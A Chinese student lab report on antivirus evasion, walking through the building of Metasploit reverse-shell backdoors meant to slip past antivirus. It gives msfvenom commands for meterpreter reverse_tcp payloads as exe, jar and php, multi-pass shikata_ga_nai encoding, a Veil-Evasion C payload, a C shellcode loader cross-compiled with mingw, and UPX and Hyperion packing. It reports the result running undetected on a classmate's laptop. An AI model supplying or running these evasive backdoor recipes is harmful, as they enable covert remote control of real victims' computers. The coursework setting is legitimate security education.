实验三 免杀原理与实践
实验内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
- 2.通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
相关知识
免杀
-
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
-
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
-
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
检测工具
VirusTotal、Virscan
- 集成了60多个商业杀毒软件的扫描引擎,可以上传免杀处理过的程序进行检测
- 网址:https://www.virustotal.com/、http://www.virscan.org/
基础问题
(1)杀软是如何检测出恶意代码的?
- 检测特征码:人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
- 启发式恶意软件检测:如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
- 基于行为检测:与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
(2)免杀是做什么?
- 免杀就是使得恶意软件不被杀毒软件查杀,二者能够共存。
(3)免杀的基本方法有哪些?
- 改变特征码
- 只有EXE:加壳,使其无法进行逆向,比对病毒库中的特征码
- 有shellcode:利用shellcode生成可执行文件
- 有源代码:用其他语言进行重写再编译
- 改变行为:改变通讯方式或操作模式
- 利用现有playload手工打造一个后门程序
实验步骤
(一)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
- 在实验二中,已经生成后门程序,命令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.138 LPORT=5234 -f exe > XXX.exe
- 其中192.168.10.138 为虚拟机Linux的ip地址
(1)使用msf编码器生成后门程序及检测
- 首先使用VirusTotal、Virscan这两个网站对实验二中用msf命令生成的后门程序进行扫描。
- 将后门程序放到VirusTotal网站中扫描,结果如下:
- 将后门程序放到Virscan网站中扫描
- 如果文件名中有数字就会出现图中的错误,需要改名。改过名之后重新检测,结果如下:
VirusTotal有50款杀软报出了病毒,Virscan有29款杀软报出了病毒,因此不加处理的恶意代码能被绝大多数杀毒软件识别。
尝试用msf编码器对后门程序进行一次到多次的编码:
- 一次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.10.138 LPORT=5234 -f exe > backdoor.exe
- 十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.10.138 LPORT=5234 -f exe > backdoor.exe
- 其中-e为编码,-i为指定编码个数
- 如下图所示,一次编码之后似乎有点儿效果
- 下面试试十次编码
- 打脸了,那另一家网站呢
- 我收回前面说的话。。这是因为虽然进行多次编码,但恶意代码的特征码仍然存在,因此依旧能被绝大多数杀毒软件检测出来。由此可见,多次编码对免杀没有太大的效果。
(2)msfvenom生成jar等文件
- msfvenom生成.jar文件夹(Java后门程序):
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.10.138 lport=5234 x> 20165234_backdoor_java.jar
- msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.138 lport=5234 x> 20165234_backdoor.php
- 其他类型的文件可以参考msfvenom生成各类Payload命令
(3)veil-evasion
首先安装Veil-Evasion。Veil-Evasion已经在kali虚拟机里,如果没有可以进行在线安装: sudo apt-get install veil-evasion
(当然我属于后者,kali里没有的那种...)
- 输入指令 veil ,启用veil
- 输入 y 继续安装直至完成,在经过漫长的等待之后,出现了如下问题:
- 解决方法为输入指令 /usr/share/veil/config/setup.sh --force --silent ,再次经过漫长的等待之后,成功啦
- 接下来可以搞事情了,首先输入 use evasion 进入veil-evasion
- 输入命令use c/meterpreter/rev_tcp.py进入配置界面,用C语言重写meterperter
- 分别输入 set LHOST 192.168.10.138 、 set LPORT 5234 ,设置反弹连接IP及端口,此处IP是kali的IP地址
- 输入 generate 生成文件
- 输入playload文件名字:playload5234
- 到 /var/lib/veil/output/compiled 这个路径下找生成的exe文件
- 使用virscan对文件进行扫描
- 可见起到了一定的效果
emmm在这里插一段,后面几张截图的字体改变了,还有部分有重叠
这是由于当时我心血来潮想尝试设置新字体,结果误删了 wqy-microhei-fonts 、 wqy-zenhei-fonts 这两个文泉驿字体的ttf文件
尝试用指令 apt-get install fonts-wqy-microhei fonts-wqy-zenhei xfonts-wqy 重新安装、修改.conf文件的代码、重启kali虚拟机等方式均没有效果
所以我只能先从主机里拖了雅黑字体进入虚拟机的 /usr/share/fonts 目录下,并且在终端配置文件首选项,单元格间宽度距设为1.40
在这种情况下字体还是稍有重叠,可以说勉强达到了之前的效果吧...
只能先这样了,在实验结束之后我会继研究并且续解决这个问题的。
(4)利用shellcode编程
- 执行shellcode生成命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.138 LPORT=5234 -f c
(二)Linux平台交叉编译Windows应用
(1)使用交叉编译
创建一个文件20165234.c,然后将unsigned char buf[]赋值到其中,代码如下:
vim 20165234.c
unsigned char buf[] = "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
......(替换shellcode)
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
int main() { int (*func)() = (int(*)())buf; func(); }
- 使用命令i686-w64-mingw32-g++ 20165234.c -o 20165234.exe编译.c文件为可执行文件
- 由于virscan不支持上传带数字的文件,我把它上传至 virus total 进行测试
- 复制到Win10主机里,不出所料gg了
(2)使用压缩壳(UPX)
- 将之前的半手工打造的shellcode复制并命名为 ljf.exe ,进行加壳 upx ljf.exe -o ljf_upxed.exe
- 上传至 virus total 进行测试
-
将其复制到Win10主机里,依然gg
(3)使用加密壳Hyperion
将上一个生成的文件拷贝到 /usr/share/windows-binaries/hyperion/ 目录中
进入目录 /usr/share/windows-binaries/hyperion/ 中
输入 wine hyperion.exe -v ljf_upxed.exe ljf_upxed_Hyperion.exe
- 将其复制到Win10主机里,尽管该做的步骤都做了,不得不说360反应速度的确很快...
(四)将后门程序传只win7虚拟机中,能够成功获得shell
(三)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
用同学的联想笔记本电脑进行实测,没有被杀软发现。